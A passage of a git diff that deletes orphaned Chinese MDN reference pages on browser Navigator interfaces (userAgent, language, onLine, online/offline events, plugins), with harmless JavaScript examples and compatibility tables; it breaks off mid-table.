")用来激活所在网页的UniversalBrowserRead特权.)</p> - -<h3 id="Specification" name="Specification">规范</h3> - -<ul> - <li><a class="external" href="http://www.w3.org/TR/html5/timers.html#navigator" title="http://www.w3.org/TR/html5/timers.html#navigator">HTML5: System state and capabilities: the Navigator object</a></li> -</ul> - -<p>该属性由DOM Level 0提出, 目前已经被添加到HTML5规范中.</p> - -<p>{{ languages( {"ja": "ja/DOM/window.navigator.platform", "en": "en/DOM/window.navigator.platform", "pl": "pl/DOM/window.navigator.platform" } ) }}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html b/files/zh-cn/orphaned/web/api/navigatorid/product/index.html deleted file mode 100644 index aae72af9db..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/product/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: NavigatorID.product -slug: orphaned/Web/API/NavigatorID/product -translation_of: Web/API/NavigatorID/product -original_slug: Web/API/NavigatorID/product ---- -<div> - {{ApiRef}}</div> -<h2 id="Summary" name="Summary">概述</h2> -<p>该属性返回当前浏览器的产品名称。</p> -<div class="note"> - <strong>注意:</strong>该属性不一定返回一个真实的产品名称。Gecko 和 WebKit 浏览器返回 "Gecko" 作为该属性的值。</div> -<h2 id="Syntax" name="Syntax">语法</h2> -<pre class="syntaxbox"><i>productName</i> = window.navigator.product -</pre> -<ul> - <li><code>productName</code> 是一个字符串。</li> -</ul> -<h2 id="Example" name="Example">例子</h2> -<pre class="brush: html"><script> -function prod() { - dt = document.getElementById("d"); - dt.innerHTML = window.navigator.product; -} -</script> - -<button onclick="prod();">product</button> -<div id="d"> </div> -<!-- 返回 "Gecko" --> -</pre> -<h2 id="Notes" name="Notes">备注</h2> -<p>在基于 Gecko 的浏览器中,<code>product</code> 为完整的用户代理(user agent)字符串中紧跟着平台(platform)后的部分。例如,在 Netscape 6.1 的用户代理中,product 是 "<code>Gecko</code>",完整的代理字符串是:<code>Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1</code>。</p> -<p>在基于 WebKit 的浏览器中,<code>product</code> 仍然返回 "<code>Gecko</code>",即使完整用户代理字符串中平台(platform)后紧跟着:<code>(KHTML, like Gecko)</code>。</p> -<h2 id="Specification" name="Specification">规范</h2> -<p>{{dom0}}</p> diff --git a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html b/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html deleted file mode 100644 index 9652c650da..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorid/useragent/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: NavigatorID.userAgent -slug: orphaned/Web/API/NavigatorID/userAgent -translation_of: Web/API/NavigatorID/userAgent -original_slug: Web/API/NavigatorID/userAgent ---- -<div>{{ApiRef("HTML DOM")}}</div> - -<p><code><strong>NavigatorID.userAgent</strong></code> 只读属性返回当前浏览器的 user agent 字符串。</p> - -<div class="note"> -<p>这一规范要求浏览器通过这一属性提供尽可能少的信息。不要假定同一浏览器的这一属性值会在未来的版本中保持不变。尽量不要使用这一属性,或者仅仅在现有和更早的版本中使用。较新的浏览器可能开始使用相同或近似的 UA,对于早期的浏览器而言:你不能确保该浏览器是其 <code><strong>NavigatorID.userAgent</strong></code> 属性所宣称的浏览器。</p> - -<p>另外要记住,用户可以修改浏览器的此属性(UA 欺骗).</p> -</div> - -<p>基于 user agent 字符串来识别浏览器是<strong>不可靠</strong>的,<strong>不推荐使用</strong>,因为 user agent 字符串是用户可配置的。例如:</p> - -<ul> - <li>在 Firefox 浏览器中,你可以通过 <code>about:config</code> 页面的 <code>general.useragent.override</code> 字段修改 user agent。某些 FireFox 插件会更改此字段。 但这个字段只会影响到 http 请求的 header,不影响通过 Javascript 代码检测浏览器。</li> - <li>Opera 6+ 允许用户通过菜单设置浏览器辨识字符。</li> - <li>Microsoft Internet Explorer 通过修改 Windows 注册表修改 UA 。</li> - <li>Safari 和iCab 允许用户通过菜单选项将 UA 值修改为预设的Internet Explorer 或Netscape 浏览器 UA 。</li> -</ul> - -<h2 id="Syntax" name="Syntax">语法</h2> - -<pre class="syntaxbox notranslate">var <var>ua</var> = navigator.userAgent; -</pre> - -<h3 id="Value" name="Value">值</h3> - -<p>{{domxref("DOMString")}} 规定了浏览器提供给 {{Glossary("HTTP")}} headers 和其响应,以及其他与{{domxref("Navigator")}} 相关的方法的完整用户代理属性 。</p> - -<p>用户代理属性由几个信息段组成一个整齐的结构,每个信息段都取值于其他 {{domxref("Navigator")}} 属性,这些属性也可以是用户设置的。基于 Gecko 内核的浏览器的 UA 遵守下列通用结构规范。</p> - -<pre class="notranslate">userAgent = appCodeName/appVersion number (Platform; Security; OS-or-CPU; -Localization; rv: revision-version-number) product/productSub -Application-Name Application-Name-version -</pre> - -<h2 id="Example" name="Example">例子</h2> - -<pre class="brush:js notranslate">alert(window.navigator.userAgent) -// alerts "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010725 Netscape6/6.1" -</pre> - -<ul> -</ul> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-useragent', 'NavigatorID.userAgent')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorID.userAgent")}}</p> - -<h2 id="See_also" name="See_also">更多</h2> - -<ul> - <li>{{httpheader("User-Agent")}} HTTP header</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html deleted file mode 100644 index fdd35b2c8b..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: NavigatorLanguage -slug: orphaned/Web/API/NavigatorLanguage -tags: - - API - - HTML-DOM - - NeedsTranslation - - No Interface - - Reference - - TopicStub -translation_of: Web/API/NavigatorLanguage -original_slug: Web/API/NavigatorLanguage ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorLanguage</strong></code> 包含涉及导航(<code><strong>Navigator</strong></code>)的语言特性的方法和属性。</p> - -<p>其实 <code>NavigatorLanguage</code> 这个对象并不存在,但是,一些其它的接口,如 {{domxref("Navigator")}} 或 {{domxref("WorkerNavigator")}},实现了它。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorLanguage</code></em><em> 接口不继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("DOMString")}} 代表用户的首选语言,通常是浏览器 UI 的语言。若返回 <code>null</code> 值,则代表语言未知。</dd> - <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("DOMString")}} 数组,代表用户已知的语言,不同语言按照谁更佳排序。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorLanguage</code></em><em> 接口不依赖任何接口和方法。</em></p> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorlanguage', 'NavigatorLanguage')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>从 {{SpecName('HTML5 W3C')}} 出现开始,<code>languages</code> 属性已经被添加。</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatorlanguage', 'NavigatorLanguage')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>初始标准;出现在 {{SpecName('HTML WHATWG')}} 的早期版本。</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorLanguage")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>实现本对象的 {{domxref("Navigator")}} 接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html deleted file mode 100644 index c9e6e3615e..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/language/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.language -slug: orphaned/Web/API/NavigatorLanguage/language -tags: - - API - - NavigatorLanguage - - 参考 - - 只读 - - 多语言 - - 属性 - - 语言 -translation_of: Web/API/NavigatorLanguage/language -original_slug: Web/API/NavigatorLanguage/language ---- -<div>{{APIRef("HTML DOM")}}</div> - -<p><strong><code>NavigatorLanguage.language</code></strong> 只读属性返回一个表示用户偏好语言的字符串,通常指浏览器 UI 的语言。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js"><em>let lang</em> = navigator.language; -</pre> - -<h3 id="值">值</h3> - -<p>一个 {{domxref("DOMString")}}。<code>lang</code> 存储一个表示语言版本(在 <a href="http://www.ietf.org/rfc/bcp/bcp47.txt">BCP 47</a> 中定义)的字符串。合法的语言版本有 "zh-CN"、"en"、"en-US"、"fr"、"es-ES" 等。</p> - -<p>注意 macOS 和 iOS 平台上的 Safari(10.2 之前版本),国家代码为小写:"zh-cn"、"en-us"、"fr-fr" 等。</p> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">if ( window.navigator.language != 'zh-CN' ) { - doLangSelect(window.navigator.language); -} -</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#dom-navigator-language', 'NavigatorLanguage: language')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>初次定义</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.NavigatorLanguage.language")}}</p> - -<h2 id="另请参阅">另请参阅</h2> - -<ul> - <li>{{domxref("NavigatorLanguage.languages", "navigator.languages")}}</li> - <li>{{domxref("navigator")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html b/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html deleted file mode 100644 index 127403a1f9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorlanguage/languages/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: NavigatorLanguage.languages -slug: orphaned/Web/API/NavigatorLanguage/languages -tags: - - API - - languages - - 只读 - - 实验性 - - 属性 -translation_of: Web/API/NavigatorLanguage/languages -original_slug: Web/API/NavigatorLanguage/languages ---- -<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p> - -<p><code><strong>NavigatorLanguage.languages </strong></code>只读属性 ,返回一个 {{domxref("DOMString")}} 的数组,数组内容表示网站访客所使用的语言。 使用 <a href="http://tools.ietf.org/html/bcp47">BCP 47</a> 语言标签来描述不同的语言。 在返回的数组中,最适合当前用户的语言将会被排到数组的首位。</p> - -<p>{{domxref("NavigatorLanguage.language","navigator.language")}} 的值是该属性返回数组的第一个元素 [3]。(但它基于系统语言设置。)</p> - -<p>当该值发生改变,即最适合用户的语言被改变, 事件{{event("languagechange")}} 将会在 {{domxref("Window")}} 对象下触发。</p> - -<p>在每一个HTTP请求上的来自用户浏览器的HTTP协议头 <code>Accept-Language</code> 使用相同的来自 <code>navigator.languages</code> 属性的语言值,除了特殊的 <code>qvalues</code> (权重值) 字段 (如:<code>en-US;q=0.8)。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><em>preferredLanguages</em> = <em>globalObj</em>.navigator.languages -</pre> - -<h2 id="例子">例子</h2> - -<pre class="brush: js notranslate">navigator.language //"en-US" -navigator.languages //["en-US", "zh-CN", "ja-JP"] -</pre> - -<h2 id="标准">标准</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">标准</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td> - <td>{{ Spec2('HTML5.1') }}</td> - <td> - <p>初始化定义</p> - </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.NavigatorLanguage.languages")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{domxref("NavigatorLanguage.language","navigator.language")}}</li> - <li>{{domxref("Navigator")}}</li> - <li>{{domxref("Window.onlanguagechange")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/index.html deleted file mode 100644 index b2a7f14cc9..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: NavigatorOnLine -slug: orphaned/Web/API/NavigatorOnLine -tags: - - API - - HTML-DOM - - TopicStub -translation_of: Web/API/NavigatorOnLine -original_slug: Web/API/NavigatorOnLine ---- -<p>{{APIRef("HTML DOM")}}</p> - -<p><code><strong>NavigatorOnLine</strong></code>接口包含了与浏览器网络连接状态相关的方法和属性。</p> - -<p>不存在<code>NavigatorOnLine类型的对象,</code>但是存在其他的接口,比如 {{domxref("Navigator")}} 或者 {{domxref("WorkerNavigator")}},可以实现它。</p> - -<h2 id="属性">属性</h2> - -<p><em><code>NavigatorOnLine</code></em><em> 接口并不能继承任何属性。</em></p> - -<dl> - <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt> - <dd>返回一个 {{domxref("Boolean")}} 值指示浏览器是否为在线状态。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<p><em><code>NavigatorOnLine</code></em><em> 接口既不能实现,也不能继承任何方法。</em></p> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">注解</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>对比最近的简况没有变化, {{SpecName('HTML5 W3C')}}</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', '#navigatoronline', 'NavigatorOnLine')}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>{{SpecName('HTML WHATWG')}} 原始标准的简况.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>特征</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td>在{{domxref("WorkerNavigator")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoDesktop(29)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>特征</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>基本支持</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td> {{domxref("WorkerNavigator")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile(29)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="浏览相关">浏览相关</h2> - -<ul> - <li>可以实现它的 {{domxref("Navigator")}} 接口。</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html deleted file mode 100644 index ffc33f9d7a..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: NavigatorOnLine.onLine -slug: orphaned/Web/API/NavigatorOnLine/onLine -tags: - - API - - DOM Reference -translation_of: Web/API/NavigatorOnLine/onLine -original_slug: Web/API/NavigatorOnLine/onLine ---- -<p>{{ApiRef("HTML DOM")}}</p> - -<p>返回浏览器的联网状态。正常联网(在线)返回 <code>true</code>,不正常联网(离线)返回 <code>false</code>。一旦浏览器的联网状态发生改变,该属性值也会随之变化。当用户点击链接或者脚本进行网络请求时,如果发现浏览器连接不上互联网,则该属性会被赋值为<code>false</code>。</p> - -<p>各浏览器对该属性的实现有些不同。</p> - -<p>在 Chrome 和 Safari 中,如果浏览器连接不上局域网(LAN)或者路由器,就是离线状态;否则就是在线状态。所以当该属性值为 <code>false </code>的时候,你可以说浏览器不能正常联网,但如果该属性值为true的时候,并不意味着浏览器一定能连接上互联网。还有其他一些可能引起误判的原因,比如你的电脑安装了虚拟化软件,可能会有一个虚拟网卡,这时它总是会显示正常联网。因此,如果你想得到浏览器确切的联网状态,应该使用其他额外的检查手段。</p> - -<p>在 Firefox 和 Internet Explorer 中,如果浏览器处于"脱机工作"状态,则返回 <code>false</code>。在 Firefox 41之前,所有其他条件都返回 <code>true</code> 值;在 Windows 上的 Nightly 68上测试实际行为表明,它仅查找类似 Chrome 和 Safari 的 LAN 连接,从而产生误报。</p> - -<p>你可以在 <a href="/zh-CN/docs/Web/API/document.ononline"><code>window.ononline</code></a> 和 <a href="/zh-CN/docs/Web/API/document.onoffline"><code>window.onoffline</code></a>上监听事件,来获取浏览器联网状态的改变情况。</p> - -<h2 id="语法">语法</h2> - -<pre><em>online</em> = <em>window</em>.navigator.onLine; -</pre> - -<h3 id="取值">取值</h3> - -<p><code>online</code> 是个布尔值 <code>true</code> 或 <code>false。</code></p> - -<h2 id="示例">示例</h2> - -<p>查看 <a class="external" href="http://html5-demos.appspot.com/static/navigator.onLine.html">在线演示</a>.</p> - -<p>想要查看你是否连接上了互联网,查询 <code>window.navigator.onLine</code> 的值,如下方示例:</p> - -<pre class="brush: js">if (navigator.onLine) { - alert('online') -} else { - alert('offline'); -} -</pre> - -<p>如果浏览器不支持 <code>navigator.onLine</code>,则上面的示例将始终显示为 <code>false</code> / <code>undefined</code>。</p> - -<p>要查看网络状态的变化,请使用 <code><a href="/zh-CN/docs/DOM/element.addEventListener">addEventListener</a></code> 侦听 <code>window.online</code> 和 <code>window.offline</code> 事件,如以下示例所示:</p> - -<pre class="brush: js">window.addEventListener("offline", function(e) {alert("offline");}) - -window.addEventListener("online", function(e) {alert("online");}) -</pre> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("HTML WHATWG", "browsers.html#dom-navigator-online", "navigator.onLine")}}</td> - <td>{{Spec2("HTML WHATWG")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("api.NavigatorOnLine.onLine")}}</p> - -<h2 id="备注">备注</h2> - -<p>See <a href="https://wiki.developer.mozilla.org/en-US/docs/Online_and_offline_events">Online/Offline Events</a> for a more detailed description of this property as well as new offline-related features introduced in Firefox 3.</p> - -<h2 id="查看更多">查看更多</h2> - -<ul> - <li><a href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html">HTML5 Rocks: Working Off the Grid With HTML5 Offline</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/offline/whats-offline/">HTML5 Rocks: "Offline": What does it mean and why should I care?</a></li> - <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/">Mozilla Blog: Offline Web Applications</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html b/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html deleted file mode 100644 index 8b873aad6c..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatoronline/online_and_offline_events/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: 在线和离线事件 -slug: orphaned/Web/API/NavigatorOnLine/Online_and_offline_events -tags: - - AJAX - - DOM - - HTML5 - - Web 开发 - - 离线 web 应用 -translation_of: Web/API/NavigatorOnLine/Online_and_offline_events -original_slug: Web/API/NavigatorOnLine/Online_and_offline_events ---- -<p>部分浏览器根据 <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">WHATWG Web Applications 1.0 规范</a> 实现了<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">Online/Offline 事件</a>。</p> - -<h3 id="Overview" name="Overview">概述</h3> - -<p>为了构建一个支持离线的 web 应用,你需要知道你的应用何时真正处于离线状态。同时,你还需要知道应用何时重新回到了「在线」状态。实际上,我们可以把需求分解成如下内容:</p> - -<ol> - <li>你需要知道用户何时回到在线状态,这样你就可以与服务器重新同步。</li> - <li>你需要知道用户何时处于离线状态,这样你就可以将对服务器的请求放入队列中以便稍后使用。</li> -</ol> - -<p>这便是在线/离线事件所要处理的过程。</p> - -<p>你的 web 应用可能需要使得某个特定的文档在离线资源缓存中得到维护。 你可以在 <a href="/en/Offline_resources_in_Firefox" title="en/Offline_resources_in_Firefox">Firefox 中的离线资源</a> 这篇文章中了解到更多内容。</p> - -<h3 id="API" name="API">API</h3> - -<h4 id="navigator.onLine" name="navigator.onLine"><code>navigator.onLine</code></h4> - -<p><code><a href="/en/DOM/window.navigator.onLine" title="en/DOM/window.navigator.onLine">navigator.onLine</a></code> 是一个值为 <code>true</code>/<code>false</code> (<code>true</code> 表示在线, <code>false</code> 表示离线) 的属性。当用户通过选择对应的菜单项 (Firefox 中为 文件 -> 离线工作) 切换到「离线模式」时,这个值就会被更新。</p> - -<p>此外,当浏览器长时间无法连接到网络时,该值也会被更新。根据如下规范:</p> - -<blockquote cite="http://www.whatwg.org/specs/web-apps/current-work/#offline"><code>由于用户点击一个链接或是脚本请求一个远程页面(或者类似的操作失败了)从而导致户代理无法访问网络时, navigator.onLine</code> 属性返回 false ...</blockquote> - -<p>在 Firefox 2 中,当在浏览器的离线模式中来回切换时会更新该属性。 Windows, Linux, 和 OS X 上的 <a href="https://developer.mozilla.org/en-US/Firefox/Releases/41#Miscellaneous">Firefox 41</a> 会在操作系统报告网络连接变化时更新该属性。</p> - -<p>该属性存在于旧版本的 Firefox 与 Internet Explorer (规范就是以这些旧有实现为基础),因此你现在就可以使用该属性。Firefox 2实现了网络状态自动检测。</p> - -<h4 id=".22online.22_and_.22offline.22_events" name=".22online.22_and_.22offline.22_events"><code>「online」与「</code><code>offline」</code> 事件</h4> - -<p><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a> 引入了两个新事件:「<code>online」与「</code><code>offline」。当浏览器从在线与离线状态中切换时,这两个事件会在页面的</code> <code><body></code> 上触发。此外,该事件会从 <code>document.body 冒泡到</code> <code>document 上,最后到达</code> <code>window。两个事件都无法被取消</code>(你无法阻止用户进入在线或离线状态)。</p> - -<p>你可以使用几种熟悉的方式来注册事件:</p> - -<ul> - <li>在 <code>window,</code><code>document,或<font face="Lucida Grande, Lucida Sans Unicode, DejaVu Sans, Lucida, Arial, Helvetica, sans-serif"><span style="line-height: 21px;"> </span></font></code><code>document.body 上使用 </code><code style="font-size: 14px;"><a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a></code></li> - <li>将 <code style="font-size: 14px;">document</code> 或 <code style="font-size: 14px;">document.body 的</code> <code>.ononline</code> 或 <code>.onoffline</code> 属性设置为一个 JavaScript <code>Function</code> 对象。(<strong>注意:</strong>由于兼容性原因,不能使用 <code>window.ononline</code> 或 <code>window.onoffline</code>。)</li> - <li>在 HTML 标记中的 <code style="font-size: 14px;"><body> 标签上指定</code> <code>ononline="..."</code> 或 <code>onoffline="..."</code> 特性。</li> -</ul> - -<h3 id="Example" name="Example">示例</h3> - -<p>运行这个<a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">简单的例子</a>来验证事件。</p> - -<p>这是 JavaScript 部分的代码:</p> - -<pre class="brush: js">window.addEventListener('load', function() { - var status = document.getElementById("status"); - var log = document.getElementById("log"); - - function updateOnlineStatus(event) { - var condition = navigator.onLine ? "online" : "offline"; - - status.className = condition; - status.innerHTML = condition.toUpperCase(); - - log.insertAdjacentHTML("beforeend", "Event: " + event.type + "; Status: " + condition); - } - - window.addEventListener('online', updateOnlineStatus); - window.addEventListener('offline', updateOnlineStatus); -});</pre> - -<p>再加上一点儿 CSS</p> - -<pre class="brush: css">#status { - position: fixed; - width: 100%; - font: bold 1em sans-serif; - color: #FFF; - padding: 0.5em; -} - -#log { - padding: 2.5em 0.5em 0.5em; - font: 1em sans-serif; -} - -.online { - background: green; -} - -.offline { - background: red; -} -</pre> - -<p>对应的 HTML<span class="comment">XXX When mochitests for this are created, point to those instead and update this example -nickolay</span></p> - -<pre class="brush: html"><div id="status"></div> -<div id="log"></div> -<p>This is a test</p> -</pre> - -<h3 id="References" name="References">注意</h3> - -<p>如果浏览器没有实现该 API,你可以使用其他方式来检测是否离线,包括 <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html#toc-appcache">AppCache 错误事件</a> 和 <a class="external" href="http://www.html5rocks.com/en/mobile/workingoffthegrid.html#toc-xml-http-request">XMLHttpRequest 的响应</a>。</p> - -<h3 id="References" name="References">参考</h3> - -<ul> - <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#offline">'Online/Offline events' section from the WHATWG Web Applications 1.0 Specification</a></li> - <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336359">The bug tracking online/offline events implementation in Firefox</a> and a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=336682">follow-up</a></li> - <li><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">A simple test case</a></li> - <li><a class="external" href="http://ejohn.org/blog/offline-events/">An explanation of Online/Offline events</a></li> - <li><a class="external" href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> at hacks.mozilla.org - showcases an offline app demo and explains how it works.</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html b/files/zh-cn/orphaned/web/api/navigatorplugins/index.html deleted file mode 100644 index 3b0afd6396..0000000000 --- a/files/zh-cn/orphaned/web/api/navigatorplugins/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: NavigatorPlugins -slug: orphaned/Web/API/NavigatorPlugins -translation_of: Web/API/NavigatorPlugins -original_slug: Web/API/NavigatorPlugins ---- -<p>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</p> - -<p>The <code><strong>NavigatorPlugins</strong></code> interface contains methods and properties related to the plugins installed in the browser.</p> - -<p>There is no object of type <code>NavigatorPlugins</code>, but other interfaces, like {{domxref("Navigator")}}, implement it.</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd> - <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p><em>The <code>NavigatorPlugins</code></em><em> interface doesn't inherit any method.</em></p> - -<dl> - <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}{{experimental_inline}}</dt> - <dd>Returns a {{domxref("Boolean")}} flag indicating whether the host browser is Java-enabled or not.</dd> -</dl> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('HTML WHATWG', '#navigatorplugins', 'NavigatorPlugins')}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - 